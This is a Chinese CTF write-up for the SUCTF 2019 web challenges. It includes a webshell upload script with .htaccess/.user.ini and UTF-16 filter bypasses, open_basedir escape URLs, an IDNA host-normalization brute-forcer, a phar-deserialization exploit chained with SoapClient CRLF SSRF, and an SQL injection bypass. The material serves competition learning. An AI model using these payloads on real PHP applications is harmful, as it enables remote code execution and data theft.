前言

正逢暑假的闲暇之余,和De1ta的师傅们打了一下suctf2019,下面记录一下web的题解

web

CheckIn

简单地看一下它过滤,大概有3个点:

  1. 不能上传ph结尾的文件,
  2. 上传的文件内容不能有<?
  3. exif_imagetype函数检测上传文件是否为图片文件

第一反应是上传一个.htaccess,把其它文件格式解析为php文件,但是发现并不行,应该是apache的AllowOverrideNone,所以只能另寻他路了,这里卡了很久,回头看一下群发现队里的师傅已经解出来了,告诉我用.user.ini文件,关于.user.ini文档是这么描述的:

1
2
3
4
5
6
7
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。

那么我们的思路就很清晰了,把具有PHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置写入.user.ini文件,然后等待user_ini.cache_ttl时间过后他会自动读取用户的ini文件,现在问题修改什么配置,参考了这篇文章,发现auto_prepend_file=file可以,auto_prepend_file大致意思是在执行文件之前包含它的值,那么思路就很清晰了,我们先上传一个.user.ini文件,然后再上传一个webshell上去,最后访问一个php文件去自动包含我们的webshell,很巧目录之下刚好有一个index.php文件。

过滤<?的话我们可以用<script language="php"><script>绕过,图片检测我可以随便加一个图片文件头或者是加上#define xlogo_width 200 \n#define xlogo_height 200即可绕过

image.png
image.png

image.png
image.png
image.png
image.png
image.png
image.png

EasyPHP

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
66666 66666
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

这题考察了php的复杂变量,但是做题时候一直没有get到这个点,我太难了,一直用类似这样的payload:(x^x)((x)^(x))走了弯路,发现并没有解析。最后泽君师傅get到点了
payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

PS:``$_GET[0xff]``可以用``$_GET{0xff}``代替,正则绕过了,现在想办法上传文件,和``CheckIn``差不多,高兴的是这题的``.htaccess``文件可以用,难受的是之前``<script language="php">``用不了,于是找到了[这篇文章](https://thibaudrobin.github.io/articles/bypass-filter-upload/ "这篇文章"),改一下作者的脚本就行了

```python
import requests

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()


def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .xxx\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()

def upload():
url='http://47.111.59.243:9001/?_=${%a0%B8%BA%AB^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag'
filename=[".htaccess","1.xxx"]
for x in filename:
file={"file":open(x,"rb")}
req = requests.post(url=url, files=file)
print(req.content)
if __name__=="__main__":
generate_htacess()
generate_php_file("1.xxx", "<?php eval($_GET['cmd']); die(); ?>")
upload()

上传一波

image.png
image.png

访问一下

image.png
image.png

扫描根目录发现不行,发现有open_basedir

image.png
image.png

然后就是常规套路绕过了

1
http://47.111.59.243:9001/upload/tmp_7d636cd22c795a0d9c176a4c99451654/1.xxx?cmd=chdir(%27tmp%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir(%22/%22));

image.png
image.png

得到flag

1
http://47.111.59.243:9001/upload/tmp_7d636cd22c795a0d9c176a4c99451654/1.xxx?cmd=chdir(%27tmp%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);readfile(%22/THis_Is_tHe_F14g%22);

image.png
image.png

pythonnginx

这题拿了一个一血还行=。=
题目很简单明了,直接是用blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization,其中关于python的如下图,具体PPT链接如下:PPT链接,我就不细说了

image.png
image.png

我们可以简单的写一个脚本来爆破一下最后一个字符串c,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

结果如下,随便拿一个字符就行

image.png
image.png

根据题目提示Dont worry about the suctf.cc. Go on!猜测应该是hosts文件suctf.cc绑定了127.0.0.1,既然是127.0.0.1我们可以尝试用file协议读一下文件

image.png
image.png

成功读取,那么现在就是找flag了,根据提示猜测flag位置可能和nginx有关,尝试读一下nginx的配置文件

image.png
image.png

得到flag

image.png
image.png

Upload labs 2

这题比赛的时候没(bu)看(hui),现在懒得复现了,这里直接贴上队友的wp了

这道题开放了不久,给了源码,接着审计一波,index.php上传这里没啥限制,限制了文件后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#index.php
<?php
include 'class.php';

$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}

func.php接受一个url参数,参数经过一个很狠的正则,会去你上传的目录找你上传的文件,获取MIME返回。

1
2
3
4
5
6
7
8
9
10
11
# func.php
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

class.php这里的File的__wakeup函数很异常,预计就是题目考点了,作用是创建一个类的新实例,给出的参数将传递到类的构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#class.php
<?php
include 'config.php';

class File{

public $file_name;
public $type;
public $func = "Check";

function __construct($file_name){
$this->file_name = $file_name;
}

function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

function __toString(){
return $this->type;
}

}

class Check{

public $file_name;

function __construct($file_name){
$this->file_name = $file_name;
}

function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}

接下来这个admin.php,需要一个ssrf然后,之后会触发getflag函数把flag发到你服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#admin.php
<?php
include 'config.php';

class Ad{

public $ip;
public $port;

public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;

function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

$this->ip = $ip;
$this->port = $port;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}

function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){

$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

经过大致分析,需要点: ssrf、触发反序列化、上传内容不能有<?、不能直接用phar等已见的协议触发。

这里正则绕过:php://filter/resource=phar://phar.phar

ssrf: 因为可以实例化任何类,然而题目并没有给什么有用的,自然想到SoapClient

上传内容不能有<?绕过: 结合前面两题的trick<script language="php">__HALT_COMPILER();</script>

触发反序列化:$this->type = finfo_file($finfo, $this->file_name);

那么这些点全部都有了,直接贴exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
public $file_name = "";
public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

把生成的test.phar改成test.jpg上传,然后访问php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg

image.png
image.png

easy_sql

这题运维出现了问题,导致出现源码泄露,扫描源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

说实话虽然语句看着简单,但是搞了半天没出来,最后队里的师傅解出来了,payload如下:

image.png
image.png

这个都没想到,还是太菜了呜呜呜,不过这个是非预期解,预期解是将sql_mode改为PIPES_AS_CONCAT,也就是把||变为连接符

image.png
image.png

最终payload如下:

image.png
image.png

Cocktail’s Remix

这题是结合逆向的一道题,扫描一下发现有一个下载功能,可以读文件,但是试了一个常规的flag文件路径都读不到flag,猜测flag应该不在目录里面。还有一个info.php也没有发现什么信息,猜测与题目名字有关,info.php里面搜索一下

image.png
image.png

果真有点东西,把mod_cocktail.so文件下载下来,丢IDA看一下

image.png
image.png

大概意思是获取Reffer头的内容然后传入j_remix后的字符串拿去popen,跟进j_remix看一下,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <cstdio>
#include <cstring>
const char* remixedchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

int num_strchr(const char *str, char c)
{
char *v2; // rax
int result; // eax

v2 = strchr((char*)str, c);
if ( v2 )
result = v2 - str;
else
result = -1;
return result;
}

void remix(const char *remixed, char *dedata)
{
char *v2; // r13
char v3; // si
const char *v4; // rbx
int v5; // rbp
int v6; // er14
int j; // ST0C_4
int v8; // er14
int v9; // er15

v2 = dedata;
v3 = *remixed;
if ( *remixed )
{
v4 = remixed + 1;
v5 = 0;
do
{
while ( 1 )
{
v8 = 4 * num_strchr(remixedchar, v3);
v9 = num_strchr(remixedchar, *v4);
v2[(signed int)v5] = v8 | (v9 >> 4) & 3;
if ( v4[1] != 61 )
break;
v4 += 4;
v3 = *(v4 - 1);
v5 = v5 + 1;
if ( !*(v4 - 1) )
goto LABEL_8;
}
v6 = num_strchr(remixedchar, v4[1]);
v2[(signed int)v5 + 1] = (v6 >> 2) & 0xF | 16 * v9;
if ( v4[2] == 61 )
{
v5 = v5 + 2;
}
else
{
j = v5 + 2;
v5 = v5 + 3;
v2[j] = num_strchr(remixedchar, v4[2]) & 0x3F | (v6 << 6);
}
v4 += 4;
v3 = *(v4 - 1);
}
while ( *(v4 - 1) );
LABEL_8:
v5 = (signed int)v5;
}
else
{
v5 = 0LL;
}
v2[v5] = 0;
}

问了一下队里面的re师傅,说这个是base64,尝试一下发现可以

image.png
image.png

但是发现都找不到flag,通过之前扫描出来的config.php,猜测flag应该在数据库里面,读一下config文件得到数据库用户密码

image.png
image.png

show databases一下

image.png
image.png

use flag;show tables

image.png
image.png

select * from flag.flag

image.png
image.png